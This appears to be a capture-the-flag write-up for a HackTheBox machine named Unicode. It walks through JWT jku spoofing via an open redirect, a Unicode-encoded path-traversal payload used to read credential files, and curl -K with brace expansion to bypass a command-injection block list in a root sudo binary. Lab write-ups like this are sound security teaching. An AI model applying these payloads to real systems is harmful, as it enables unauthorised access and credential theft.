Unicode

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.246.167
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 08:22 EDT
Nmap scan report for 10.129.246.167
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Hackmedia JKU Spoofing

The website was a corporate page for a threat analytics company:

If we click Google about us, it redirects us using this URL:

http://10.129.246.167/redirect/?url=google.com

This might be vulnerable to SSRF, but let's first add hackmedia.htb to our /etc/hosts file and register a user on the site. Upon accessing the dashboard, we see that we have a few functions:

When the request is viewed in Burp, we can see it uses a JWT token:

GET /dashboard/ HTTP/1.1
Host: 10.129.246.167
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.246.167/login/
Connection: close
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoidGVzdDEyMyJ9.GH9NHOQuud4tOr1Ax-Gaavfnkae2D0qqjFet8bXweBQdF7xs7zKlHPQuw0p00BP7zc9zaRwdtTr7XLvdK2qnG9YRdd0Qi6asBs15OzPz32qrIcIatLMSyGoEE-UTSg9WrnKkx7OHrIAChGc2PXY0EaoViN9nUhpezUDIZ1JIvIIE_6WkGxEJlETCHJjXX8nxHMEwAJlk1W9tAEVusHPcSBB3m-uFGjxS8IVOshNPDFrm_YMS8Q0fJrzSevCTOew0pf8pC5CZodLB-iHTMQlbdD3mBDMrsPt5bbQqX5UGBXsq7Q10QzJ9PDUrYLiLyzfDxKdzMg_bIPBfp58I8K_A7g
Upgrade-Insecure-Requests: 1

When decoded on jwt.io, we can see that it contains the username field and is signed via RSA.

Interesting! There's also a jku field with a URL to the site. When viewed, it appears to contain the public key of the JWT token:

$ curl http://hackmedia.htb/static/jwks.json
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"
        }
    ]
}  

When researching for exploits pertaining to jku, I came across this:

Basically, the exploit requires us to generate a private-public key pair, and use that to spoof tokens after replacing the jku parameter with a URL to our machine's own jwk.json file. So first, we need to generate a key pair:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Afterwards, we can head back to jwt.io and create a new token with a new URL. Since there's a redirect functionality available, I'll just use that to make it request the jwks.json file to our machine. Then, we can also change the username to admin.

Then we need to create the jwks.json file. This can be done by first downloading the format from the machine, and then replacing the values in it with our own key pair's.

$ openssl rsa -in publickey.crt -pubin -text -noout             
Public-Key: (2048 bit)
Modulus:
    00:c4:2e:63:41:93:eb:5b:6a:bf:6e:a9:41:8b:5f:
    ec:28:35:f1:c3:50:b3:dc:21:40:43:06:6b:f0:ca:
    d4:8a:03:9f:73:a4:75:79:6a:f6:0d:53:d0:7c:d1:
    21:d4:cc:fd:5d:bf:4d:7b:ac:28:c6:e1:a9:c3:97:
    4b:9f:46:7f:52:de:33:a7:27:e8:e2:eb:67:07:56:
    b2:99:94:58:c5:02:9c:c6:de:cf:8f:12:b5:3b:51:
    02:9a:5e:7a:98:cc:83:1c:20:67:8d:c3:e6:8a:92:
    ce:23:47:f3:6b:0b:7a:73:0b:a8:8e:d9:36:97:09:
    00:86:3e:9e:c9:97:b1:be:17:76:28:3e:1a:31:b2:
    a8:b6:8f:26:0a:2f:ae:14:65:d8:87:c4:6b:6d:49:
    40:4d:3a:fb:10:c3:b8:9d:33:80:8e:e4:71:97:f3:
    26:85:33:8c:6e:79:e3:61:7b:66:ae:c3:dc:ee:78:
    f1:3f:1c:3a:e4:75:fe:0f:ca:15:d2:9a:4a:0d:8d:
    78:6f:0a:ae:a6:00:ea:9c:59:59:2a:ad:3b:74:eb:
    29:46:65:44:63:7d:38:8a:51:5d:fa:95:54:c0:2e:
    56:04:b1:89:b2:af:6e:99:7b:e3:51:b4:1a:00:0c:
    e2:c0:e8:ae:c2:ac:6b:d3:f5:ab:88:26:28:c4:95:
    b4:8b
Exponent: 65537 (0x10001)

Take the hex part and convert it to text, and then base64 it.

$ cat num| xxd -r -p |base64                            
AMQuY0GT61tqv26pQYtf7Cg18cNQs9whQEMGa/DK1IoDn3OkdXlq9g1T0HzRIdTM/V2/TXusKMbh
qcOXS59Gf1LeM6cn6OLrZwdWspmUWMUCnMbez48StTtRAppeepjMgxwgZ43D5oqSziNH82sLenML
qI7ZNpcJAIY+nsmXsb4Xdig+GjGyqLaPJgovrhRl2IfEa21JQE06+xDDuJ0zgI7kcZfzJoUzjG55
42F7Zq7D3O548T8cOuR1/g/KFdKaSg2NeG8KrqYA6pxZWSqtO3TrKUZlRGN9OIpRXfqVVMAuVgSx
ibKvbpl741G0GgAM4sDorsKsa9P1q4gmKMSVtIs=

When we refresh the page, we get a hit on our HTTP server for the jwks.json file and that the dashboard is different:

Unicode LFI

Under the Saved Reports portion, when we try to view a few files, we are redirected to this site:

http://10.129.246.167/display/?page=monthly.pdf

This looks vulnerable to LFI, so I tried to view the /etc/passwd file but it didn't work.

Looks like it isn't processing. Now because this box was literally named Unicode, we might have to use Unicode characters to make this work. When we use this payload, the LFI works:

http://10.129.246.167/display/?page=%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/etc/passwd

Now with an LFI, let's try to read the nginx configuration files since this was an Nginx server.

$ curl -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjEzL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.BTblX6M82Za_sh8hvEuUHdrArVmK-zLFphwUfpEB9Vuib6dfiZ5_RXqZYwmI-uo1NSl-pKXxB6shhB57oFG2pSH5AjU6Cxk6HqvgTBMNIdFjaoGdj4uyq3FgYuH8VN8PxUMXhf6MwkpBrd-hh-yJ32xRFV-Z_uIqTc1Rue5ImLvTVAQ1434ZUjCkKzsMUKPa-PI8pXLWmR2MGpvRBbUd7xSth2tVOpgnK9u0h09xh-2kE3YjopdxeNAfokXJUshfL5tUX_BTHY0-10KvDb3amfWTGUoRruyUSTdWm5-H1PAtbvOJ3-Uo_EkwVPIbwEr3g51yR-ZvAMfLkInG-LQNiw' http://10.129.246.167/display/?page=%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/etc/nginx/sites-available/default
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=800r/s;

server{
#Change the Webroot from /home/code/app/ to /var/www/html/
#change the user password from db.yaml
        listen 80;
        error_page 503 /rate-limited/;
        location / {
                limit_req zone=mylimit;
                proxy_pass http://localhost:8000;
                include /etc/nginx/proxy_params;
                proxy_redirect off;
        }
        location /static/{
                alias /home/code/coder/static/styles/;
        }
}

db.yaml? This is located within /home/code/coder/db.yaml.

$ curl -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjEzL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.BTblX6M82Za_sh8hvEuUHdrArVmK-zLFphwUfpEB9Vuib6dfiZ5_RXqZYwmI-uo1NSl-pKXxB6shhB57oFG2pSH5AjU6Cxk6HqvgTBMNIdFjaoGdj4uyq3FgYuH8VN8PxUMXhf6MwkpBrd-hh-yJ32xRFV-Z_uIqTc1Rue5ImLvTVAQ1434ZUjCkKzsMUKPa-PI8pXLWmR2MGpvRBbUd7xSth2tVOpgnK9u0h09xh-2kE3YjopdxeNAfokXJUshfL5tUX_BTHY0-10KvDb3amfWTGUoRruyUSTdWm5-H1PAtbvOJ3-Uo_EkwVPIbwEr3g51yR-ZvAMfLkInG-LQNiw' http://10.129.246.167/display/?page=%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/home/code/coder/db.yaml
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"

Using this password, we can login as code using ssh.

Privilege Escalation

Treport

When checking sudo privileges, we find that we can run treport as root.

code@code:~$ sudo -l
Matching Defaults entries for code on code:                                                  
    env_reset, mail_badpass,                                                                 
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin 
                                                                                             
User code may run the following commands on code:                                            
    (root) NOPASSWD: /usr/bin/treport

Running a quick file and strings reveals this is a compiled Python script.

code@code:~$ file /usr/bin/treport
/usr/bin/treport: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6af5bc244c001328c174a6abf855d682aa7401b, for GNU/Linux 2.6.32, stripped

code@code:~$ strings /usr/bin/treport
<TRUNCATED>
blib-dynload/_asyncio.cpython-38-x86_64-linux-gnu.so
blib-dynload/_bz2.cpython-38-x86_64-linux-gnu.so
blib-dynload/_codecs_cn.cpython-38-x86_64-linux-gnu.so
blib-dynload/_codecs_hk.cpython-38-x86_64-linux-gnu.so
<TRUNCATED>

So we can download this binary back to our machine for reverse engineering. First, we can use pyinstxtractor to convert this to bytecode, and then pycdc to convert it to a script.

pyinstxtractor treport
cd treport_extracted
pycdc treport.pyc > script.py

Here's the contents of the script:

# Source Generated with Decompyle++
# File: treport.pyc (Python 3.8)

import os
import sys
from datetime import datetime
import re

class threat_report:
    
    def create(self):
        file_name = input('Enter the filename:')
        content = input('Enter the report:')
        if '../' in file_name:
            print('NOT ALLOWED')
            sys.exit(0)
        file_path = '/root/reports/' + file_name
    # WARNING: Decompyle incomplete

    
    def list_files(self):
        file_list = os.listdir('/root/reports/')
        files_in_dir = ' '.join((lambda .0: [ str(elem) for elem in .0 ])(file_list))
        print('ALL THE THREAT REPORTS:')
        print(files_in_dir)

    
    def read_file(self):
        file_name = input('\nEnter the filename:')
        if '../' in file_name:
            print('NOT ALLOWED')
            sys.exit(0)
        contents = ''
        file_name = '/root/reports/' + file_name
    # WARNING: Decompyle incomplete

    
    def download(self):
        now = datetime.now()
        current_time = now.strftime('%H_%M_%S')
        command_injection_list = [
            '$',
            '`',
            ';',
            '&',
            '|',
            '||',
            '>',
            '<',
            '?',
            "'",
            '@',
            '#',
            '$',
            '%',
            '^',
            '(',
            ')']
        ip = input('Enter the IP/file_name:')
        res = bool(re.search('\\s', ip))
        if res:
            print('INVALID IP')
            sys.exit(0)
        if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
            print('INVALID URL')
            sys.exit(0)
        for vars in command_injection_list:
            if vars in ip:
                print('NOT ALLOWED')
                sys.exit(0)
                continue
                cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
                os.system(cmd)
                return None


if __name__ == '__main__':
    obj = threat_report()
    print('1.Create Threat Report.')
    print('2.Read Threat Report.')
    print('3.Download A Threat Report.')
    print('4.Quit.')
    check = True
    if check:
        choice = input('Enter your choice:')
        
        try:
            choice = int(choice)
        finally:
            pass
        print('Wrong Input')
        sys.exit(0)
        if choice == 1:
            obj.create()
            continue

        if choice == 2:
            obj.list_files()
            obj.read_file()
            continue
        if choice == 3:
            obj.download()
            continue
        if choice == 4:
            check = False
            continue
        print('Wrong input.')
        continue

There's a possible Command Injection point here:

vfor vars in command_injection_list:
            if vars in ip:
                print('NOT ALLOWED')
                sys.exit(0)
                continue
                cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
                os.system(cmd)
                return None

The ip variable is passed into a shell command, and it uses curl. However, there is a check for bad characters and it covers all of them. In this case, we can use the -K flag from curl, which would allow us to specify configurations for it. Furthermore, the { character has not been whitelisted, allowing us to abuse Brace Expansion.

We can use this to read files like the id_rsa of root.

We can transfer this to our machine and begin to convert it to the correct format and then use it to ssh in as root. I admit, I got a bit lazy and just read the root flag.